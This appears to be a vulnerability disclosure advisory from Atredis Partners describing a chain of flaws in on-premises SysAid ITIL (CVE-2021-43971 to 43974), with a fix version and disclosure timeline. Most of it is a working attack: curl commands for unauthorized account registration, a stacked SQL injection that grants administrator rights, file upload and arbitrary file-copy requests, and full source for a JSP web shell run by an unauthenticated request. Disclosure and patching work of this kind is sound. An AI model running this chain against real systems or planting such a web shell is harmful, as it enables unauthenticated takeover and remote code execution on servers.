Atredis Partners found a chain of vulnerabilities in the ITIL product offering by SysAid during personal research. Other competitors to this SysAid product are ManageEngine, Remedy, or other ticketing and workflow systems. The full chain of issues allows an unauthenticated attacker to gain full administrative rights over the ITIL installation and to execute arbitrary code for a local shell.

Atredis only tested the on-premises version of SysAid ITIL. If you are running an on-premises SysAid ITIL system, updating to the latest version will resolve the issues described below. At the time of this writing, the latest version for on-premises customers is 21.2.35.

You can find details from SysAid here: https://www.sysaid.com/product/on-premises/latest-release

First, the /enduserreg endpoint does not respect the server-side setting for allowing anonymous users to register. This requires the instance be set up with outgoing email, but once registered, the email used to register will be sent a new password for the user.

id=`curl http://192.168.1.113:8080/Login.jsp | grep -Eho 'accountid=(.*?)"' | cut -d '"' -f1 | cut -d '=' -f2`

curl -X POST --data "accountID="$id"&X_TOKEN_"$id"=%24tokenValue&thanksForm=thankyou.htm&X_TOKEN_"$id"_trial=%24tokenValue&[email protected]&firstName=Unauthed&lastName=User&sms=&phone=&mobile=&Save=" http://192.168.1.113:8080/enduserreg

Check your email, then let’s escalate our new user to admin.

Once authenticated, the authenticated user can escalate their privileges with a stacked UPDATE query. The issue is in the getMobileList method in SysAidUser.java

String str1 = " ";
String str2 = "order by lower(calculated_user_name)";
if (paramString2 != null && paramString2.length() > 0) {
    paramString2 = paramString2.toLowerCase();
    str1 = " and lower(calculated_user_name) like '%" + paramString2 + "%' ";
} 

Above you can see paramString2 is used unsafely in the SQL query. This can used to build a stacked query which updates our user’s row in the database.

curl -H "Cookie: JSESSIONID=$sess" http://192.168.1.113:8080/mobile/SelectUsers.jsp?filterText=1';UPDATE sysaid_user SET administrator=CHAR(89),main_user=CHAR(89) WHERE user_name='[email protected]'--

In the above unencoded HTTP parameter, a stacked query was used to update a column in the user table which will be read during authentication, giving us admin on the SysAid instance.

After escalating the privilege, it is possible to relogin as an admin user and upload a JSP shell. However, the shell is not within reach just yet. Next, you can upload an arbitrary file to the server with the UploadPsIcon.jsp endpoint, but this does not immediately make the uploaded file available on the web server. It will return an absolute path on the server though, which we can use at the next step. Note the required Referer header.

path=`curl -H "Referer: http://192.168.1.113:8080/UploadPsIcon.jsp?parent=UserSelfServiceSettings.jsp?uploadPsFile=true" -H "Cookie: JSESSIONID=$sess" -F "[email protected]" -F "X_TOKEN_$id=$token" "http://192.168.1.113:8080/UploadPsIcon.jsp?uploadPSFile=false&parent=UserSelfServiceSettings.jsp?uploadPsFile=true" 2>&1 | grep tempFile.value | cut -d '"' -f2`

echo $path

The file cmd.jsp is a simple JSP shell.

<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "<BR>");

    Process p;
    if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
        p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
    }
    else{
        p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
    out.println(disr);
    disr = dis.readLine();
    }
}
%>

Once uploaded, it is possible to copy a file from an arbitrary absolute path on the server to the directory meant to server images or icons. An absolute path exists from the previous step because it was returned in the response. Using the UserSelfServiceSettings.jsp endpoint, it is possible to pass on a path to copy a file from anywhere on the server itself into the web application to be available via an HTTP request. Note the required Referer header.

curl -X POST  -H "Referer: http://192.168.1.113:8080/UserSelfServiceSettings.jsp" -H "Cookie: JSESSIONID=$sess" --data "tabID=22&resetPasswordMethod=user&numberOfInvalidAttempts=5&blockUserMinutes=30&dummycaptcha=on&captcha=Y&enableGuest=N&userEmailAsIdentifier=N&PsImageUrl=&sendRandomCodeBySms=N&numberOfSecurityQuestions=2&answerMinimumLength=3&Apply=&OK=&Cancel=&Addtokb=&subAction=&reopenNote=&pageID=1&subPageID=1&replacePage=Y&changes=0&X_TOKEN_$id=$token&showAddFailMsgPopup=&paneMessage=&paneType=&paneBtnArrayButtons=&panePreSubmitFunc=&paneSubmitParentForm=&paneCancelFunc=hideOptionPane&tempFile=$path&fileName=cmd.jsp&psImageChange=true&id=" http://192.168.1.113:8080/UserSelfServiceSettings.jsp?uploadPsFile=true

Once we have the file copied, it’s now possible to request a shell. Be sure to not use cookies. The configuration of the web server by default treats requests by authenticated users differently, and referencing the shell can only happen with an unauthenticated HTTP request.

curl http://192.168.1.113:8080/icons/ps/cmd.jsp?cmd=whoami
/mobile/SelectUsers.jsp SQLi: CVE-2021-43971
/UserSelfServiceSettings.jsp unrestricted file copy: CVE-2021-43972
/UploadPsIcon.jsp unrestricted file upload:  CVE-2021-43973
/enduserreg anonymous user registration: CVE-2021-43974

2021-09-21: SysAid notified. Original Proof-of-Concept (PoC) and emails blocked unbeknownst to both parties.

2021-10-05: Confirmed receipt of the original scripts to reproduce issues.

2021-11-17: CVE IDs allocated and communicated

2021-12-22: SysAid confirms issues resolved

2022-01-05: Details released